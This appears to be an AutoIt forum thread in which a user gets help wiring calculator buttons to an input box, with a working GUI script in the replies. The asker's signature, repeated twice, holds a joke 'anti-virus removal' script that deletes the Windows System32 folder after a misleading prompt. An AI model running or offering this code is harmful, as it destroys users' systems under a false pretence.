Firefoxy Posted December 10, 2007 Share Posted December 10, 2007 I'm trying to make a GUI calculator. I was wondering how (if it's even possible) to make it where if I press a button (ex. 1) it would show one in the box? ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
BrettF Posted December 10, 2007 Share Posted December 10, 2007 I'm trying to make a GUI calculator. I was wondering how (if it's even possible) to make it where if I press a button (ex. 1) it would show one in the box?HotkeySet() or _IsPressed?? And then: #Include <GuiEdit.au3> _GUICtrlEdit_AppendText($hWnd, $sText) Vist my blog!UDFs: Opens The Default Mail Client | _LoginBox | Convert Reg to AU3 | BASS.au3 (BASS.dll) (Includes various BASS Libraries) | MultiLang.au3 (Multi-Language GUIs!)Example Scripts: Computer Info Telnet Server | "Secure" HTTP Server (Based on Manadar's Server)Software: AAMP- Advanced AutoIt Media Player | WorldCam | AYTU - Youtube Uploader Tutorials: Learning to Script with AutoIt V3Projects (Hardware + AutoIt): ArduinoUseful Links: AutoIt 1-2-3 | The AutoIt Downloads Section: | SciTE4AutoIt3 Full Version! Link to comment Share on other sites More sharing options...
martin Posted December 10, 2007 Share Posted December 10, 2007 I'm trying to make a GUI calculator. I was wondering how (if it's even possible) to make it where if I press a button (ex. 1) it would show one in the box?If you have a button then you don't need HotKeySet or _IsPressed, you just add the code you want when you detect the button is pressed.Or was Bert correct in assuming you meant key? Serial port communications UDF Includes functions for binary transmission and reception.printing UDF Useful for graphs, forms, labels, reports etc.Add User Call Tips to SciTE for functions in UDFs not included with AutoIt and for your own scripts.Functions with parameters in OnEvent mode and for Hot Keys One function replaces GuiSetOnEvent, GuiCtrlSetOnEvent and HotKeySet.UDF IsConnected2 for notification of status of connected state of many urls or IPs, without slowing the script. Link to comment Share on other sites More sharing options...
BrettF Posted December 11, 2007 Share Posted December 11, 2007 If you have a button then you don't need HotKeySet or _IsPressed, you just add the code you want when you detect the button is pressed.Or was Bert correct in assuming you meant key?This will work...#include <GUIConstants.au3>#Include <GuiEdit.au3>$Form1 = GUICreate("Form1", 243, 210, 193, 125)$Input1 = GUICtrlCreateInput("Input1", 8, 8, 225, 21)$Button7 = GUICtrlCreateButton("&7", 8, 40, 50, 50, 0)$Button8 = GUICtrlCreateButton("&8", 64, 40, 50, 50, 0)$Button9 = GUICtrlCreateButton("&9", 120, 40, 50, 50, 0)$Button4 = GUICtrlCreateButton("&4", 8, 96, 50, 50, 0)$Button5 = GUICtrlCreateButton("&5", 64, 96, 50, 50, 0)$Button6 = GUICtrlCreateButton("&6", 120, 96, 50, 50, 0)$Button1 = GUICtrlCreateButton("&1", 8, 152, 50, 50, 0)$Button2 = GUICtrlCreateButton("&2", 64, 152, 50, 50, 0)$Button3 = GUICtrlCreateButton("&3", 120, 152, 50, 50, 0)$Button10 = GUICtrlCreateButton("&=", 176, 152, 50, 50, 0)$Button11 = GUICtrlCreateButton("&-", 176, 96, 50, 50, 0)$Button12 = GUICtrlCreateButton("&+", 176, 40, 50, 50, 0)GUISetState(@SW_SHOW)#EndRegion ### END Koda GUI section ###While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Button1 _GUICtrlEdit_AppendText($Input1, "1") Case $Button2 _GUICtrlEdit_AppendText($Input1, "2") Case $Button3 _GUICtrlEdit_AppendText($Input1, "3") Case $Button4 _GUICtrlEdit_AppendText($Input1, "4") Case $Button5 _GUICtrlEdit_AppendText($Input1, "5") Case $Button6 _GUICtrlEdit_AppendText($Input1, "6") Case $Button7 _GUICtrlEdit_AppendText($Input1, "7") Case $Button8 _GUICtrlEdit_AppendText($Input1, "8") Case $Button9 _GUICtrlEdit_AppendText($Input1, "9") Case $Button10 _GUICtrlEdit_AppendText($Input1, "=") Case $Button11 _GUICtrlEdit_AppendText($Input1, "-") Case $Button12 _GUICtrlEdit_AppendText($Input1, "+") EndSwitchWEnd Vist my blog!UDFs: Opens The Default Mail Client | _LoginBox | Convert Reg to AU3 | BASS.au3 (BASS.dll) (Includes various BASS Libraries) | MultiLang.au3 (Multi-Language GUIs!)Example Scripts: Computer Info Telnet Server | "Secure" HTTP Server (Based on Manadar's Server)Software: AAMP- Advanced AutoIt Media Player | WorldCam | AYTU - Youtube Uploader Tutorials: Learning to Script with AutoIt V3Projects (Hardware + AutoIt): ArduinoUseful Links: AutoIt 1-2-3 | The AutoIt Downloads Section: | SciTE4AutoIt3 Full Version! Link to comment Share on other sites More sharing options...
Firefoxy Posted December 11, 2007 Author Share Posted December 11, 2007 Thanks man. GUI is my weak spot. I don't really know how to use them yet. This will work... expandcollapse popup#include <GUIConstants.au3> #Include <GuiEdit.au3> $Form1 = GUICreate("Form1", 243, 210, 193, 125) $Input1 = GUICtrlCreateInput("Input1", 8, 8, 225, 21) $Button7 = GUICtrlCreateButton("&7", 8, 40, 50, 50, 0) $Button8 = GUICtrlCreateButton("&8", 64, 40, 50, 50, 0) $Button9 = GUICtrlCreateButton("&9", 120, 40, 50, 50, 0) $Button4 = GUICtrlCreateButton("&4", 8, 96, 50, 50, 0) $Button5 = GUICtrlCreateButton("&5", 64, 96, 50, 50, 0) $Button6 = GUICtrlCreateButton("&6", 120, 96, 50, 50, 0) $Button1 = GUICtrlCreateButton("&1", 8, 152, 50, 50, 0) $Button2 = GUICtrlCreateButton("&2", 64, 152, 50, 50, 0) $Button3 = GUICtrlCreateButton("&3", 120, 152, 50, 50, 0) $Button10 = GUICtrlCreateButton("&=", 176, 152, 50, 50, 0) $Button11 = GUICtrlCreateButton("&-", 176, 96, 50, 50, 0) $Button12 = GUICtrlCreateButton("&+", 176, 40, 50, 50, 0) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Button1 _GUICtrlEdit_AppendText($Input1, "1") Case $Button2 _GUICtrlEdit_AppendText($Input1, "2") Case $Button3 _GUICtrlEdit_AppendText($Input1, "3") Case $Button4 _GUICtrlEdit_AppendText($Input1, "4") Case $Button5 _GUICtrlEdit_AppendText($Input1, "5") Case $Button6 _GUICtrlEdit_AppendText($Input1, "6") Case $Button7 _GUICtrlEdit_AppendText($Input1, "7") Case $Button8 _GUICtrlEdit_AppendText($Input1, "8") Case $Button9 _GUICtrlEdit_AppendText($Input1, "9") Case $Button10 _GUICtrlEdit_AppendText($Input1, "=") Case $Button11 _GUICtrlEdit_AppendText($Input1, "-") Case $Button12 _GUICtrlEdit_AppendText($Input1, "+") EndSwitch WEnd ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now